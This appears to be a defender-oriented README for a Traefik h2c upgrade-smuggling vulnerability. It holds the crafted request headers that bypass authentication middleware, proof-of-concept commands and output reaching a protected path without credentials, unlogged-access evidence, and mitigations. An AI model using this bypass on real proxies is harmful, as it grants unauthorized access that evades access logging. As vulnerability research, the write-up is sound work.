受影响版本: Traefik 2.11.26 → 2.11.56 和 3.7.0 → 3.7.12
修复版本: 2.11.57 / 3.7.13 — 提交 a277e946 "Do not forward h2c upgrade headers to the backend"
安全公告: GHSA-w4v4-9rw7-5326 · CVSS 9.1
分类: CWE-444(请求走私 / 解释不一致)+ CWE-863(授权不当)
Traefik 的 HTTP 反向代理在代理请求时会重新添加客户端的 Connection: Upgrade /
Upgrade: h2c 头对,并同时转发 HTTP2-Settings 头。
实现了 RFC 7540 §3.2 h2c 升级握手的上游会返回
101 Switching Protocols;随后 Go 的 httputil.ReverseProxy 会退化为原始
字节隧道。此后连接上的所有内容都是直接发往后端的 HTTP/2:Traefik 的路由器和中间件(BasicAuth、ForwardAuth、IPAllowList、
RateLimit)完全不会被查询,流量也不会被访问日志记录、计量或
追踪。
使 Traefik 转发全部三个部分的请求形态:
GET /public.html HTTP/1.1
Host: target
Connection: Upgrade # HTTP2-Settings deliberately NOT listed here
Upgrade: h2c
HTTP2-Settings: AAMAAABkAAQAAP__
HTTP2-Settings 必须保持在 Connection 令牌列表之外,因为 Go 的反向代理在代理之前会删除 Connection 中列出的每一个头——将其列在那里会剥离设置头,上游会拒绝升级。仅命名 Upgrade 可以保持该头存活,同时 Go 仍会重新添加 Connection: Upgrade / Upgrade: h2c 对。在真实代理上实测:
# what the upstream received through vulnerable v3.7.12
GET /vuln-probe.html HTTP/1.1
Host: lab
Connection: Upgrade
Http2-Settings: AAMAAABkAAQAAP__
Upgrade: h2c
# through fixed v3.7.13
GET /fix-probe.html HTTP/1.1
Host: lab
# -> no Connection, no Upgrade, no Http2-Settings
修复(pkg/server/service/upgrade.go)将反向代理包装在一个 h2cUpgradeHandler 中,该处理器会删除 Upgrade(当 Connection 携带 Upgrade 令牌且值为 h2c 时),并始终删除 Http2-Settings。
# vulnerable target: assert the bypass
python3 poc.py exploit --url http://127.0.0.1:8083
# fixed/control target: assert the upgrade is refused and the path stays protected
python3 poc.py check --url http://127.0.0.1:8084
PoC 仅使用标准库,在未受保护的路径上发起升级,并且——一旦隧道建立——使用 HTTP/2(原始帧、最小化 HPACK)在没有任何凭据的情况下获取受中间件保护的路径。新 HTTP/2 连接的流 1 是重放的升级请求(RFC 7540 §3.2);PoC 将其排空,然后以流 3 发送自己的请求。
实验环境:真实的 traefik:v3.7.12 和 traefik:v3.7.13 容器,以及一个真实的 Jetty 12 上游,使用明文 HTTP/2(--add-modules=http2c)提供由 basicAuth 中间件保护的文档。操作步骤:lab/README.md。
$ python3 poc.py exploit --url http://127.0.0.1:8083 # Traefik v3.7.12
[*] target : http://127.0.0.1:8083
[*] public path : /public.html
[*] protected path: /protected.html
[*] baseline: GET /protected.html without credentials -> HTTP 401
[*] upgrade request -> HTTP/1.1 101 Switching Protocols
[*] stream 1 (replayed upgrade request) body: 'PUBLIC-OK'
[*] tunnel frames : 1:3:4 0:3:0 0:3:1
[+] content served over the unauthorised tunnel:
PROTECTED-CONTENT-OK
=> PASS (unauthenticated access to /protected.html through the h2c tunnel; Traefik's routers/middlewares were never applied to this request)
$ python3 poc.py check --url http://127.0.0.1:8084 # Traefik v3.7.13
[*] baseline: GET /protected.html without credentials -> HTTP 401
[*] upgrade request -> HTTP/1.1 200 OK
=> PASS (control: upgrade not forwarded and the protected path still requires auth)
$ python3 poc.py exploit --url http://127.0.0.1:8084
[*] upgrade request -> HTTP/1.1 200 OK
=> FAIL (upgrade refused - no h2c tunnel, target is not vulnerable / is fixed)
Traefik 自身在漏洞运行中的访问日志显示了走私面:升级请求被记录为劫持状态(0),而隧道获取的受保护文档完全没有任何记录——该绕过对访问日志不可见:
"GET /protected.html HTTP/1.1" 401 17 ... "prot@file" <- our baseline check
"GET /public.html HTTP/1.1" 0 0 ... "pub@file" 7ms <- the upgrade request (tunnelled)
<- the tunneled protected fetch: nothing logged
该绕过需要一个上游,它要能接受 Traefik 按原样转发 的 h2c 升级,即带有 Connection: Upgrade、Upgrade: h2c 和 HTTP2-Settings 头,但不要求 Connection 中包含 HTTP2-Settings 令牌。已验证可接受的上游:
http2c 模块(UPGRADE: h2c + settings 头即可)——这是实验环境中使用的上游。已验证会拒绝的上游(它们还额外坚持 RFC 严格的 Connection: Upgrade, HTTP2-Settings 令牌列表,而 Traefik 无法提供该列表,因为 Go 的反向代理会剥离 Connection 中指定的头):
mod_http2 —— 记录日志 AH03086: upgrade without HTTP2-Settings declinedgolang.org/x/net/http2/h2c —— 其 isH2CUpgrade() 要求 Connection 中包含 HTTP2-Settings 令牌因此,可触达的受害集合是那些 h2c 升级检查较为宽松的上游(常见情况是运行在 Jetty 上的 Java 服务),而非所有后端。代理侧的缺陷和修复边界是无条件的,这也是厂商发布修复的原因。
Upgrade: h2c 的纯 HTTP 入口点),并在上游禁用 h2c 升级支持(Apache 中设置 Protocols http/1.1,Jetty 中不加载 http2c 模块)——同一开关也能消除该家族中的同类公告(CVE-2026-85595 digestAuth 绕过、CVE-2026-71324 CONNECT 失步)。公开 CVE,且有公开的厂商修复;本仓库是面向防御者的独立复现,用于验证修复边界。